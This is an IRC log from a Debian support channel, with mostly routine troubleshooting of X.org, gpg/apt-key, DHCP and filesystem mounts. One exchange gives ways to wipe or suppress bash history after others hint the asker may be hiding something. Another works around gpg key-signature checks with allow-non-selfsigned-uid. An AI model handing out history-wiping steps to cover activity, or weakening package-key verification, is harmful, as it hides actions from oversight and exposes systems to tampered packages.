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| 19:49.04 | abrotman | tarzeau: play more! |
| 19:49.09 | phliver | i just thought it was really strange |
| 19:49.13 | enouf | !qotd0 |
| 19:49.13 | dpkg | < RichiH> stable is for masochist fetishists with serverphobia ;) |
| 19:49.24 | n3kl_ | pumpkin0: have not tried that actually... even though I have it installed |
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| 19:49.45 | phliver | <PROTECTED> |
| 19:49.48 | pumpkin0 | phliver: it is. the kernel-package got renamed and there is no upgrade-path for that (yet) |
| 19:49.52 | lyakh | if in /etc/network/interfaces I have an interface configured with dhcp, but the connection is unreliable (WLAN), it will only try for a certain (timeout?) time and then give up. Can one configure it to try forever in background? (Sarge) |
| 19:50.18 | abrotman | like windows? |
| 19:50.21 | pumpkin0 | lyakh: you can make it retry at any time with /etc/init.d/networking restart |
| 19:50.29 | n3kl_ | pumpkin0: are there little computer and router icons included? |
| 19:50.35 | protocol1 | how do I clear terminal history? |
| 19:50.44 | pumpkin0 | protocol1: reset |
| 19:51.00 | lyakh | pumpkin0, no, rather let dhcp run in the background as it normally would do? |
| 19:51.04 | pumpkin0 | protocol1: or do you want to remove the bash-history |
| 19:51.09 | abrotman | protocol1: been doing something bad? :) |
| 19:51.13 | pumpkin0 | n3kl_: no idea. |
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| 19:51.33 | n3kl_ | pumpkin0: cool, thanks. I will play with it. I think this might work for drawing a network diagram |
| 19:51.37 | protocol1 | no... |
| 19:51.43 | protocol1 | just need to clear it |
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| 19:51.49 | n3kl_ | protocol1: cls |
| 19:51.51 | abrotman | which would be the same thing |
| 19:51.54 | n3kl_ | protocol1: HISTSIZE-0 |
| 19:51.57 | abrotman | n3kl_: DOS ? |
| 19:52.03 | n3kl_ | rather, HISTSIZE=0 |
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| 19:52.15 | n3kl_ | abrotman: dos? |
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| 19:52.19 | abrotman | cat /dev/null > ~/.bash_history |
| 19:52.33 | abrotman | n3kl_: cls doesn't work in unix :) |
| 19:52.40 | n3kl_ | abrotman: er, clear |
| 19:52.58 | lyakh | when started manually "dhclient eth0" it tries for "timeout" time, then, if it fails, after "retry" time it tries again, etc. |
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| 19:53.14 | lyakh | as configured in /etc/dhclient.conf |
| 19:53.16 | n3kl_ | abrotman: I hate when I open a dos command prompt and type ls |
| 19:53.17 | protocol1 | abrotman, wheather Im doing something good or bad is my business...but thanks yall |
| 19:53.18 | protocol1 | heh |
| 19:53.31 | abrotman | you wouldn't erase if it were good :) |
| 19:53.46 | protocol1 | how do you know that? |
| 19:53.52 | Daveman | Greetings to the abrotman! |
| 19:54.13 | abrotman | Daveman: hi |
| 19:54.14 | enouf | protocol1: $ set | grep HIST <-- there's your parameters |
| 19:54.33 | n3kl_ | protocol1: bash_history gets written on exit. to keep it from being written, HISTSIZE=0. This way if you typr your password on the command line on accident, its not logged |
| 19:54.40 | Daveman | Hello :) |
| 19:54.44 | protocol1 | I see theres more than one |
| 19:54.48 | n3kl_ | Daveman: Hi |
| 19:54.49 | ne0m | hmm |
| 19:54.55 | Daveman | Hello, Mr. N3kl |
| 19:55.04 | ne0m | how come i cant change the resolution on the desktop? |
| 19:55.14 | protocol1 | I did HISTSIZE=0 |
| 19:55.16 | protocol1 | worked |
| 19:55.21 | n3kl_ | now press the up arrow |
| 19:55.22 | Daveman | :p |
| 19:55.23 | n3kl_ | nothing |
| 19:55.28 | Daveman | wah-wah |
| 19:55.31 | protocol1 | yup nothing |
| 19:55.36 | abrotman | ne0m: you're using vesa ? |
| 19:55.37 | n3kl_ | Daveman: how goes it |
| 19:55.41 | Daveman | gOOD :] |
| 19:55.46 | ne0m | kde |
| 19:55.59 | n3kl_ | Happy hollidays ppl! |
| 19:56.03 | protocol1 | yes |
| 19:56.19 | ne0m | how can i change it or wat |
| 19:56.31 | murosai | http://koti.mbnet.fi/fab/fdisk <-- does this disk configuration look ok? |
| 19:56.45 | dvs | ne0m: Ctrl-Alt-Numpad + |
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| 19:57.05 | n3kl_ | ne0m: kde will let you change it to any of the resolutions that you have defined for the screen in your xorg.conf. other wise, edit xorg.conf and set your resolutions |
| 19:57.09 | n3kl_ | then restart X |
| 19:57.13 | enouf | ne0m: a sentence or phrase would be nice |
| 19:57.26 | ne0m | hehe srry |
| 19:57.26 | n3kl_ | enouf: ha |
| 19:57.44 | ne0m | hmm.. how do i access xorg.conf wats its directory |
| 19:57.50 | abrotman | !drxx ne0m |
| 19:57.50 | dpkg | ne0m: dpkg-reconfigure xserver-xfree86 [or xserver-xorg if you're using X.org] (as root). If you have edited the X config file by hand, or used some other program like xf86config, ask me about <xmd5> |
| 19:58.25 | n3kl_ | anyone know if nvidia in etch will be a onliner also? |
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| 19:59.11 | n3kl_ | also, I recently stopped trying to compile my kernels cause I was informed that the debian kernels have everything enabled. is that true? |
| 19:59.16 | abrotman | you know a site is screwed up when the button to download flash doesn't even come up correctly |
| 19:59.25 | pumpkin0 | n3kl_: bash can take very long lines, so i guess: yes. |
| 19:59.26 | blondie | compiling kernels is a silly gentoo idea :D |
| 19:59.28 | abrotman | n3kl_: a good amount more than you'll usually need :) |
| 19:59.47 | Daveman | fuck flash |
| 19:59.49 | enouf | flash? .. yuk |
| 19:59.54 | n3kl_ | that being the case, I would only need to install the kernel for my arch, yes? |
| 20:00.05 | pumpkin0 | n3kl_: yes |
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| 20:00.19 | n3kl_ | blondie: its a slackware idea too. |
| 20:00.22 | n3kl_ | gentoo sucks |
| 20:00.27 | abrotman | yes .. but it was just interesting |
| 20:00.47 | enouf | I went to some .jsp sites .. and the buttons don't even appear till you mouse over them .. now that's fsked up .. what a dump .. here's an ex: www.expresscard.org |
| 20:00.58 | n3kl_ | pumpkin0: does it include framebuffer? |
| 20:01.31 | enouf | talk about your proprietary software crap overflowing into hardware |
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| 20:03.09 | pumpkin0 | n3kl_: You have to load the module by hand ... but it is there, somewhere |
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| 20:03.21 | ne0m | how do i restart/turn off comp while in xterm or something |
| 20:03.40 | pumpkin0 | ne0m: "reboot" and "shutdown -h now" |
| 20:03.42 | Muffin | ne0m: sudo reboto |
| 20:03.45 | Muffin | ne0m: sudo reboot |
| 20:03.53 | ne0m | k |
| 20:04.02 | enouf | ne0m: as root shutdown -r now |
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| 20:04.18 | enouf | ne0m: for restart |
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| 20:04.35 | ne0m | k thnks |
| 20:04.39 | ne0m | srry im noobish |
| 20:04.46 | ne0m | ;-D |
| 20:05.23 | ne0m | im bored |
| 20:05.25 | ne0m | thats all |
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| 20:05.35 | enouf | ne0m: however .. you will be pointed to many man pages and told to read .. for your and our own good |
| 20:05.36 | Muffin | I can't, for the life of me, get debian-archive-keyring to install on this box running testing that I forgot about two years ago. The error is, ""gpg: key 6070D3A1: no valid user IDs this may be caused by a missing self-signature |
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| 20:05.41 | andriijas | in wich package do i find dig? |
| 20:05.42 | CLucas | anyone know how to get colored syntax in vim? |
| 20:06.07 | enouf | ne0m: that's usually breeding ground for experimenting to the point of breakage |
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| 20:07.06 | pumpkin0 | ne0m: try to get compiz working. And learn about backups first. |
| 20:07.07 | Muffin | andriijas: dnsutils |
| 20:07.30 | Muffin | (and you can search packages at packages.debian.org) |
| 20:07.31 | andriijas | thx |
| 20:07.40 | abrotman | !search |
| 20:07.40 | dpkg | search is, like, try 'apt-cache search <regex>', if you want to know what package owns a file use dpkg -S /bin/foo. To find a package based on what files it includes use 'apt-get install apt-file;apt-file update;apt-file search foo'. Use http://packages.debian.org if you're not on a debian system. /msg <bot> find <thing> if you're already here. /msg <bot> listkeys <thing> to find factoids containing <thing>. |
| 20:07.42 | andriijas | i searched with apt-cache but tidnt find |
| 20:08.28 | Xenobius | When programming perl in vim, I don't see the color syntax that identifies the specific code. Anyone know how to get that coloring? |
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| 20:08.55 | abrotman | Xenobius: firstly .. are you sure it's vim ? |
| 20:09.01 | abrotman | secondly .. :syntax on |
| 20:09.15 | Xenobius | Yes, vim. |
| 20:09.23 | Muffin | Heh, a noobish question: Anyone know how, in BitchX, to turn off auto-ignore? I want to /msg dpkg guidelines, but I jst know it's gonna get ignored if I don't do something first. =) |
| 20:09.42 | Xenobius | abrotman: Thank you. |
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| 20:10.14 | abrotman | Xenobius: did that get it ? |
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| 20:10.23 | Cyis | Muffin: /tog flood_p |
| 20:10.23 | Xenobius | abrotman: Yes. |
| 20:10.46 | abrotman | or use irssi :) |
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| 20:13.27 | enouf | Muffin: got apt-key installed and functioning? |
| 20:13.52 | Muffin | enouf: Yes, running apt-key update causes the same error. |
| 20:14.04 | enouf | Muffin: seems from the error , you're missing your half the key |
| 20:14.49 | Cyis | and correct me if I'm wrong but apt-key only needs the public half |
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| 20:15.31 | enouf | Muffin: have you tried /msg dpkg 2006 key |
| 20:15.50 | enouf | Muffin: er .. the instructs form that :-) |
| 20:15.54 | enouf | from* |
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| 20:16.01 | sanmarcos | localhost kernel: [17205251.252000] NETDEV WATCHDOG: eth1: transmit timed out what does this mean? |
| 20:17.30 | xmb | my samba 4 wont install, any help? |
| 20:17.33 | streuner | abrotman: how is life TODAY? |
| 20:17.33 | phliver | ok the big question. im trying to get xserver-xorg working on a notebook using an ati mach64 video card. im using etch and im getting this error starting the kernel (EE) AIGLX: Screen 0 is not DRI capable. I had xserver-xorg working on this thing before so its possible to make it work.. I've tried googling but i keep getting results for people trying to get compiz and eye candy to work.. |
| 20:17.41 | xmb | how can i reconfigure its preinst step work |
| 20:17.44 | enouf | protocol1: you aint' kidding |
| 20:17.54 | phliver | i mean i get the error when i do startx |
| 20:17.56 | enouf | er phliver .. stupid tab completion |
| 20:17.58 | pumpkin0 | phliver: did you load the dri-module ? |
| 20:18.03 | zinx | phliver: make sure you have the xorg-drivers-ati package installed and such |
| 20:18.15 | phliver | zinx: xorg-drivers-ati is loaded... |
| 20:18.30 | phliver | in fact it will actually come up with a mouse cursor for a second and then dump me back to console. |
| 20:18.33 | abrotman | streuner: noone died |
| 20:18.36 | phliver | pumpkin0: could you elaborate? |
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| 20:18.41 | streuner | heh |
| 20:18.43 | enouf | !noone |
| 20:18.43 | dpkg | ***noone: No such nick/channel - and yes, there probably is someone, somewhere, who knows or runs it; that doesn't mean *I* do. |
| 20:18.56 | enouf | heh |
| 20:19.14 | Muffin | Reinstall apt is unlikely to do anything, yeah. But the question I ask after debian-archive-keyring works will elucidate my worries about installed packages. =) |
| 20:19.19 | pumpkin0 | phliver: there is a section in your xorg.conf for loading modules, like glx or dri. If dri is not listed AIGLX will fail. |
| 20:19.21 | phliver | pumpkin0: oh yeah, if you mean "load "dri" in xorg.conf yes |
| 20:19.36 | OrangeRoot1k | Any ideas on when Etch is supposed to be released? The last information I got was December this year. |
| 20:19.43 | pumpkin0 | phliver: can you put config and log into a pastebin ? |
| 20:19.54 | karsten | Muffin: gpg --keyserver pgp.mit.edu --recv-keys 6070D3A1 && gpg --armor --export 6070D3A1 | apt-key add - |
| 20:20.06 | karsten | Muffin: Should sort it. This assumes 6070D3A1 is a key you actually want. |
| 20:20.09 | phliver | pumpkin0: yeah that would be great if you could check it out |
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| 20:20.39 | Muffin | karsten: gpg: key 6070D3A1: no valid user IDs |
| 20:20.54 | karsten | Muffin: After doing that? |
| 20:21.05 | Cyis | OrangeRoot1k: well since it only went into general freeze around the 11th... prolly after new years |
| 20:21.06 | Muffin | ...same error as the apt-key update. Ditto the gpg command that /msg dpkg 2006 key gives me. |
| 20:21.09 | karsten | Muffin: I show: Debian Archive Automatic Signing Key (4.0/etch) <ftpmaster@debian.org> |
| 20:21.22 | karsten | bbiam |
| 20:21.29 | OrangeRoot1k | Cyis: so it is in freeze then? |
| 20:21.33 | Muffin | When you run that command, it tells you that? |
| 20:21.38 | Cyis | Muffin: silly question... have you made sure GPG was working properly? |
| 20:21.53 | Cyis | OrangeRoot1k: yes... announcement went out 12/11 |
| 20:21.56 | Muffin | Cyis: It's not a silly question...I'm not quite sure how to make sure GPG is working properly, actually. |
| 20:22.08 | OrangeRoot1k | Cyis: thank you very much for the info. |
| 20:22.13 | Muffin | karsten: What shows that? |
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| 20:22.23 | phliver | pumpkin0: xorg.conf |
| 20:22.27 | phliver | http://rafb.net/p/TXqGox95.html |
| 20:22.45 | sanmarcos | how can I disable numlock? |
| 20:22.50 | sanmarcos | as to make the numlock key do nothing |
| 20:23.15 | phliver | pumpkin0: and the error log http://rafb.net/p/RL8zDJ43.html |
| 20:23.22 | Cyis | Muffin: I'd check the permissions on the keyring apt-get is using... |
| 20:23.39 | Cyis | I know that the current versions of gpg are very particular about the keyring file perms |
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| 20:24.39 | Muffin | Cyis: I'd hope that it'd give me an error if the perms were wrong. /etc/apt/*.gpg are all chmod 600. |
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| 20:25.07 | Cyis | Muffin: try 'gpg --homedir /etc/apt --list-keys' |
| 20:25.47 | pumpkin0 | phliver: remove: BusID in line 69, HorizSync and VertRefresh (lines 76/77). Fix your font-paths (or xorg will die at the next apt-get update). And i think the useFBDev (line 70) may cause problems. |
| 20:25.59 | milez | guys .. any idea on why would iceweasel silently fail to start on freshly installed & up to date unstable ? |
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| 20:26.29 | pumpkin0 | milez: it is sid. luckly it does not format your HD ... |
| 20:26.39 | milez | yeah yeah |
| 20:26.46 | Muffin | Cyis: However, the /usr/share/keyrings/* is 644. The command you suggest does give me the warning of "gpg: WARNING: unsafe permissions on homedir `/etc/apt'" ...but that's just a warning, right? |
| 20:26.54 | phliver | pumpkin0: thanks for the suggestions |
| 20:27.01 | milez | pumpkin0, this "luck" has been with me for the last 3 years |
| 20:27.12 | milez | now, can anyone give a more concrete suggestion or piece of info? |
| 20:27.26 | pumpkin0 | milez: sid is the developers playbox. It may break at any time. And the xorg-log should have something about the failture. |
| 20:27.27 | blondie | we don't support unstable |
| 20:27.31 | blondie | fix it yourself |
| 20:27.36 | Cyis | Muffin: Unfortunately I'm not on my Debian box right now... I know that while getting that error I had problems with gpg in general... |
| 20:27.37 | blondie | :D |
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| 20:27.50 | Muffin | Cyis: After fixing the permissions on /etc/apt, no keys are listed by --list-keys. |
| 20:28.11 | Cyis | Muffin: does apt-key list any? |
| 20:28.19 | Cyis | now that you've changed the perms |
| 20:28.45 | Muffin | No, it doesn't. |
| 20:28.47 | milez | pumpkin0, nothing other than powermanagement notices |
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| 20:28.59 | Cyis | Muffin: does apt-key update work? |
| 20:29.00 | milez | blondie, thanks |
| 20:29.08 | pumpkin0 | milez: and moving the FF config dir ? |
| 20:29.15 | milez | i wiped it clean |
| 20:29.21 | milez | the local .mozilla dir |
| 20:29.23 | Muffin | Cyis: No, neither do either of the direct gpg --recv-keys commands. |
| 20:29.57 | milez | there was another problem i solved, firefox-bin had missing shared libs until i added /usr/lib/iceweasel into /etc/ld.so.conf |
| 20:30.01 | blondie | milez: no problemo! |
| 20:30.36 | Cyis | Muffin: well the gpg one liner would use the .gnupg directory of the user running it... |
| 20:30.37 | phliver | pumpkin0: I commented out the busid, horizsync and vertrefresh lines, i commented out the usefbdev lines. still the same thing |
| 20:30.47 | phliver | the busid line should be correct: 0000:00:05.0 VGA compatible controller: ATI Technologies Inc 3D Rage LT Pro (rev dc) |
| 20:30.52 | pumpkin0 | milez: purge and reinstall iceweasel. |
| 20:30.56 | Muffin | Cyis: Ahh. So run it as root, not under "sudo"...hmm. |
| 20:31.01 | milez | sec |
| 20:31.29 | Cyis | Muffin: how are you calling it through sudo exactly? |
| 20:31.45 | pumpkin0 | phliver: the busid may change if you change the hardware. And the autodetect will work anyway. So it is one less thing that can go wrong. Can you upload a new log ? |
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| 20:31.57 | phliver | yeah |
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| 20:32.41 | Coke | Hello. Does the Psi 0.10 shipped with Etch contain support for Google video? I have followed the Psi 0.10 Google Talk Howto, yet I get "Stream Negotiation Error: Host unknown". I use talk.google.com with port 5223. |
| 20:32.59 | marioc | Hello does anyone know if there is an application to create a text-file or graphic-image of the dependency tree of some package? |
| 20:33.21 | Coke | marioc: synaptic has lists of dependencies. |
| 20:33.50 | Coke | marioc: I think trees might be more difficult since there could be circular references. |
| 20:34.07 | phliver | pumpkin0: http://rafb.net/p/JK4OOA90.html, there is another line that looks interesting in there: (WW) ATI(0): DRI static buffer allocation failed -- need at least 7680 kB video memory |
| 20:34.19 | milez | pumpkin0, that did it |
| 20:34.23 | marioc | Coke, I'm thinking something for me, as debian packager |
| 20:34.27 | pumpkin0 | phliver: let me guess: it is the 4MB version ? |
| 20:34.27 | milez | thanks :D |
| 20:34.37 | Muffin | Cyis: "sudo gpg ..." or "sudo apt-key update". |
| 20:34.46 | karsten | Muffin: gpg --list-keys |
| 20:34.51 | phliver | pumpkin0: wow i have no idea, i thought it was 8MB, its a compaq armada m300 let me check |
| 20:34.54 | Muffin | Running it as root doesn't help, either. |
| 20:35.17 | karsten | Muffin: ... as root. Should be in root's keyring, generally, or can be put there if desired. Ask if you need a gpg primer. |
| 20:35.23 | pumpkin0 | phliver: can it change the VRAM-size in BIOS ? |
| 20:35.26 | Muffin | karsten: "gpg: /root/.gnupg/trustdb.gpg: trustdb created" |
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| 20:35.51 | Muffin | I do sort of need a gpg primer. I'm unknowledgable on the subject in general. |
| 20:36.03 | phliver | pumpkin0: i'll look |
| 20:36.03 | Cyis | Muffin: from what you've described I'm running out of possible failures... I'm not sure if you could just change to root and then just run: gpg --homedir /etc/apt --keyserver <keyserver> --recv-keys <key ID> |
| 20:36.04 | karsten | Muffin: OK. Now: gpg --keyserver pgp.mit.edu --recv-key <keyid> |
| 20:36.19 | protocol1 | enouf, no I aint kidding........merry Christmas |
| 20:36.25 | protocol1 | :) |
| 20:36.41 | karsten | Muffin: keys have two parts, public and private. You maintain both pairs for any keys *you* control. All others you generally just get the public version. |
| 20:36.51 | enouf | protocol1: and happy holidays to you too :-) |
| 20:37.06 | Cyis | karsten: Muffin's problem is with apt-key keyrings not importing the keyid |
| 20:37.07 | karsten | Muffin: If you don't have a keyserver defined in ~/.gnupg/gpg.conf, specify it on the commandline as given. |
| 20:37.08 | phliver | pumpkin0: i don't recall it being able to, i found the 500mhz version of the m300 has a 4 meg card. but it can only do 800x640, mine is 600mhz and can do 1024x768 |
| 20:37.10 | protocol1 | yes thx |
| 20:37.24 | karsten | Cyis: I'm trying to sort what he's got. |
| 20:37.46 | karsten | Muffin: apt-key maintains its own keyring, you can add keys to it from another keyring, usually root's. |
| 20:37.48 | Muffin | karsten: running the gpg --keyserver pgp.mit.edu --recv-keys 6070D3A1 still gives me the same error. |
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| 20:38.08 | karsten | Muffin: Odd. |
| 20:38.08 | pumpkin0 | phliver: in 2D every 4MB card can do 1024x768. But the TFT-panels at that time didn't have high res... |
| 20:38.16 | Muffin | I understand this --recv-keys command, then, to be adding a key to my keyring...either root's or apt-key's, as specified with --homedir. |
| 20:38.18 | Cyis | yeah something is horked |
| 20:38.22 | karsten | Muffin: gpg --list-keys 6070D3A1 |
| 20:38.31 | karsten | Muffin: ... and paste to pastebin the output. |
| 20:38.35 | karsten | !paste |
| 20:38.35 | dpkg | [paste] Do NOT paste into the channel. Use http://channels.debian.net/paste |
| 20:38.44 | karsten | dpkg dead? |
| 20:38.44 | dpkg | yes :( |
| 20:38.53 | karsten | Heh. |
| 20:38.53 | phliver | pumpkin0: i can't change anything in bios.. |
| 20:38.58 | Muffin | Don't need to. The only output is "gpg: error reading key: public key not found" ...which seems telling. |
| 20:39.17 | karsten | Muffin: Um. All this as root? |
| 20:39.20 | pumpkin0 | phliver: "lspci -v" ? |
| 20:39.24 | Muffin | (I assume the pastebin is only really necessary for multi-line pastes?) Karsten: Yes, as root. |
| 20:39.34 | karsten | Muffin: sudo to root for this stuff. Or you can run it as your normal user account and export later. |
| 20:39.48 | karsten | Muffin: 4+ lines will get you bot-kicked here. |
| 20:40.05 | phliver | pumpkin0: yeah need to reboot. whats weird, the first time i installed debian, it was working great. i installed gnome, worked fine, removed gnome. broken...completely reinstalled debian, same thing. |
| 20:40.07 | karsten | Muffin: Paste full command and ouput please. I need to see this. |
| 20:40.15 | karsten | Muffin: 'gpg --list-keys' as well. |
| 20:40.16 | Muffin | enouf: My sources.list is pointing to http://ftp.egr.msu.edu/debian/ and to secure-testing.debian.org for the secure stuff. I don't use http.us.debian.org because it often fails to point me to a mirror with sparc binaries. (BTW...this is an old sparc 20) |
| 20:40.34 | enouf | fwiw 'sudo apt-key list' shows me my keylist (/etc/apt/trusted.gpg) |
| 20:40.56 | Cyis | enouf: in otherwords... operates properly :) |
| 20:41.00 | pumpkin0 | phliver: ehm.. are we trying to get compiz working or do you have a problem in general with X ? |
| 20:41.05 | karsten | enouf: Right. gpg has a few more commands to show/analyze keys |
| 20:41.11 | enouf | Cyis: guess so.. |
| 20:41.19 | phliver | pumpkin0: im not trying to get compiz working, im just trying to get x to work |
| 20:41.33 | karsten | enouf: The keyrings are maintained seperately, of course, so gpg itself won't solve all the problems, but may help. |
| 20:41.45 | phliver | lol this is a low end notebook. i have eyecandy on my desktops. all i want is fluxbox.. |
| 20:41.46 | pumpkin0 | phliver: you are braking up the wrong tree: X is working, the windowManager is failing. |
| 20:41.51 | enouf | Muffin: the only problem I had was when entering non-official repos (such as marillats/multimedia) for a few select items |
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| 20:41.57 | karsten | Muffin: I'm still trying to sort this apt-key stuff myself somewhat. I'm pretty good w/ gpg in general though. |
| 20:42.05 | karsten | enouf: Right, those have their own keys. |
| 20:42.16 | rysiek|pl | hi all |
| 20:42.24 | phliver | pumpkin0: lol serious? i have "exec fluxbox &" in my .xinitrc file.. |
| 20:42.34 | Muffin | OK, check the pastebin. |
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| 20:42.45 | karsten | Muffin: URL |
| 20:42.48 | enouf | where Muffin ? |
| 20:42.52 | pumpkin0 | phliver: make that file executable. And rename it to .xsession. |
| 20:42.53 | Muffin | http://channels.debian.net/paste/4899 |
| 20:42.59 | margiolas | hello composite support in new ati linux driver? |
| 20:42.59 | margiolas | I have ati 200m |
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| 20:43.18 | karsten | Muffin: loading. Slowly... |
| 20:43.38 | blondie | double chocolate chip muffins |
| 20:43.51 | Muffin | blondie: Today I'm feeling more cranberry. |
| 20:43.59 | pumpkin0 | marcels: Radeon XPRESS 200m ? Composite like SVHS-out or composite like compiz ? |
| 20:44.00 | karsten | Muffin: OK. Now: gpg --list-keys 6070D3A1 |
| 20:44.01 | enouf | Muffin: have anything in /etc/apt/apt_preferences or /etc/apt/apt.conf? .. I knwo there's a way to check using apt-cache policy <something> :-) |
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| 20:44.12 | karsten | Muffin: Let's ignore the "no valid user IDs" for a moment. |
| 20:44.16 | Cyis | Muffin: try subkeys.pgp.net for the keyserver instead |
| 20:44.29 | Muffin | karsten: Running that command produces the same output listed in the pastebin. |
| 20:44.33 | karsten | Cyis: pgp.mit.edu works fine. |
| 20:44.57 | Muffin | subkeys.pgp.net produces exactly the same output. |
| 20:44.58 | rysiek|pl | guys, suppose we have a partition /dev/hdX1 with a SomeFileSystem and two directories: dira and dirb. now, we aslo have a dir in our root tree: /some/dir/ with two dirs inside: dirc and dird. is it possible in any way to mount /dev/hdX1 in /some/dir/ so that ls /some/dir will show "dira dirb dirc dird"? |
| 20:44.59 | enouf | Muffin: I was expecting for the /etc/apt/sources.list output |
| 20:45.04 | karsten | Muffin: gpg --list-sigs 6070D3A1 |
| 20:45.10 | Cyis | I just use subkeys myself as I've had problems with others |
| 20:45.26 | xingu | rysiek|pl: unionfs |
| 20:45.34 | phliver | pumpkin0: lol you know what it was.....i just needed to remove the & from the "exec fluxbox &" line |
| 20:45.35 | xingu | rysiek|pl: or mount --bind |
| 20:45.37 | rysiek|pl | xingu: thx, checking out |
| 20:45.41 | Muffin | Nothing in /etc/apt does not have apt.conf or apt_preferences. There's an apt.conf.d, though. |
| 20:45.49 | phliver | but when i seen the (EE) line i immedately assumed it was the reason why x was not starting |
| 20:46.02 | Muffin | karsten: gpg: error reading key: public key not found |
| 20:46.09 | pumpkin0 | phliver: well ... No, that is just AIGLX (the 3D part of xorg) saying goodbye. |
| 20:46.11 | phliver | i hate it when its something dumb like that. thanks for your help |
| 20:46.18 | karsten | Muffin: See: http://lists.gnupg.org/pipermail/gnupg-users/1999-December/004660.html but they key _should_ be self-signed |
| 20:46.22 | karsten | Muffin: Sec.... |
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| 20:46.51 | enouf | Muffin: allow me to habg back .. yet follow along .. karsten et al know much more about this than do I |
| 20:46.59 | enouf | hang* even |
| 20:47.04 | Muffin | karsten: This options file lives where? |
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| 20:47.19 | karsten | Muffin: http://channels.debian.net/paste/4900 |
| 20:47.21 | Muffin | enouf: Thanks so much for the attempt, though. :) |
| 20:47.27 | karsten | Muffin: ~/.gnupg/gpg.conf |
| 20:47.46 | enouf | Muffin: no problem .. still here too :-) |
| 20:48.10 | rysiek|pl | xingu: hmmm... seems like bind will allow me to have a SINGLE partition mounted in TWO places. I think I am looking for something exactly opposite: TWO partitions mounted on a SINGLE mountpoint |
| 20:48.34 | sgeigerb` | Which modules do I need to load to access an external USB hard drive on a Compaq/HP ML530? |
| 20:48.44 | pumpkin0 | rysiek|pl: no, unionfs merges several partitions into 1 mountpoint. |
| 20:48.45 | blondie | sgeigerb`: probably none |
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| 20:48.59 | karsten | Muffin: How's that compare to what you're seeing? |
| 20:49.02 | pumpkin0 | sgeigerb`: sarge ? |
| 20:49.06 | xingu | rysiek|pl: consider; mount /dev/hdX1 /mnt; mkdir /some/dir/dira /some/dir/dirb; mount --bind /mnt/dira /some/dir/dira |
| 20:49.07 | blondie | try just plugging it in, looking at dmesg to see the device ID, and mounting it |
| 20:49.22 | enouf | rysiek|pl: perhaps make a loop mount, combining them both? .. and look into using 'offset' |
| 20:49.42 | Cyis | I'd consider a non-self-signed key a security hole... bad archive key that isn't self-signed |
| 20:49.47 | enouf | rysiek|pl: or listen to xingu :-) |
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| 20:50.04 | sgeigerb` | pumpkin0: I'm talking about the Linux kernel. any version of debian is the same. |
| 20:50.06 | Muffin | karsten: Finally! Allow-non-selfsigned-uid lets the --recv-keys command work! |
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| 20:50.28 | sgeigerb` | pumpkin0: I'm not using a debian kernel |
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| 20:50.35 | karsten | Muffin: Oddly I don't have that in my config. |
| 20:50.38 | rysiek|pl | xingu: ok, point taken. but that way I will have those dirs accessible from two locations, and if I create a dire in /dev/hdX1 it won't show up in /some/dir |
| 20:50.51 | Muffin | ...though that did not allow apt-key update to work... |
| 20:50.54 | Cyis | karsten: neither do I |
| 20:50.55 | pumpkin0 | sgeigerb`: sarge does not always load the usb-storage and scsi-emu modules needed. Any with a non-stock kernel all bets are off. |
| 20:50.57 | rysiek|pl | enouf: looking into offset, thx |
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| 20:51.01 | xingu | rysiek|pl: correct, that's the space that unionfs works in |
| 20:51.12 | blondie | sgeigerb`: use a debian one then |
| 20:51.28 | karsten | Muffin: Just: default key, keyserver, keyserver-options, and no-auto-check-trustdb |
| 20:51.39 | xingu | rysiek|pl: hence, suggesting either strategy; bind mounts are sufficient where the list of dirs to merge is known, and short |
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| 20:51.53 | karsten | Muffin: Maybe, but this is pretty stable featureset IIRC. |
| 20:51.56 | abrotman | tuv: filed the bug? |
| 20:51.57 | karsten | Muffin: ... WRT gpg. |
| 20:52.14 | tuv | abrotman, nope.. checking with nslu2 channels first |
| 20:52.18 | rysiek|pl | xingu: ok, so it's unionfs for me, right? (the list of dirs is unknown, possibly long) |
| 20:52.27 | abrotman | tuv: you could ask #debian-kernel on OFTC |
| 20:52.28 | tuv | abrotman, btw, samba seems to be working fine |
| 20:52.32 | xingu | rysiek|pl: unionfs will let you stack the two filesystems, which is what you are actually trying to do and will work in the superset (unknown or complex merge) |
| 20:52.42 | Muffin | Yeah, which is odd. Maybe I have to get a few keys in there in the first place, was my thinking. |
| 20:52.45 | abrotman | tuv: but you're using the kernel nfs server right ? |
| 20:52.49 | Muffin | So debian-archive-keyring is making assumptions about keys I have already installed? |
| 20:53.01 | rysiek|pl | xingu: great, that's probably what I was looking for, thanks |
| 20:53.14 | enouf | Muffin: my first thought was looking inside the ~/.gnupg/gpg.conf file .. I notice only 1 line is uncommented in mine .. this one --> keyserver hkp://subkeys.pgp.net |
| 20:53.21 | tuv | abrotman, should file a big against nfs-kernel-server or the kernel. i think it makes more sense against the nfs server, but you found a similar bug for the kernel |
| 20:53.33 | rysiek|pl | ah, and merry XMass to you all ;) |
| 20:53.49 | abrotman | tuv: i guess file against the nfs-kernel-server .. but mention the other bug ? |
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| 20:53.50 | tuv | abrotman, yes i'm using the kernel server, but the user server was worst |
| 20:53.57 | xingu | rysiek|pl: either way it sounds like an outcome from poor storage design and the real answer is create a window to redo the layout. |
| 20:54.00 | enouf | rysiek|pl: merry :-) |
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| 20:54.39 | xingu | rysiek|pl: unionfs should buy you enough time to do that in a controlled fashion but it's not what I'd call an end game/ final state. |
| 20:55.08 | karsten | Muffin: Anyhow, after you get that sorted in gpg, might see what apt-key wants. |
| 20:55.10 | Cyis | well sounds like x-mas dinner is almost ready here... |
| 20:55.40 | xingu | where on the planet is it both the shiny bauble exchanging holiday *and* dinnertime? |
| 20:55.41 | elshaa | someone uses ddclient ? |
| 20:55.42 | rysiek|pl | xingu: well, problem is that I have a server sharing a single directory, and 1. this dir has some subdirs; 2. this dir needs to be spanned across two devices |
| 20:55.58 | rysiek|pl | elshaa: I am |
| 20:56.06 | rysiek|pl | elshaa: whassup? |
| 20:56.12 | elshaa | rysiek|pl: is it a way to update the dns with web ip detection ? |
| 20:56.23 | xingu | rysiek|pl: why is it necessary to span at the filesystem rather than block layer though? |
| 20:57.00 | Muffin | karsten: Well, it's stored in gpg now, and now it's the apt-key troubles still. |
| 20:57.08 | rysiek|pl | xingu: it's necessary at least for now, I am moving it to an encrypted FS |
| 20:57.15 | rysiek|pl | elshaa: yep |
| 20:57.21 | Muffin | Running apt-key update still complains about the user IDs, as if there's a gpg.conf file other than ~/.gnupg/gpg.conf that's being read. |
| 20:57.26 | karsten | Muffin: gpg --armor --export <keyid> | apt-key add - |
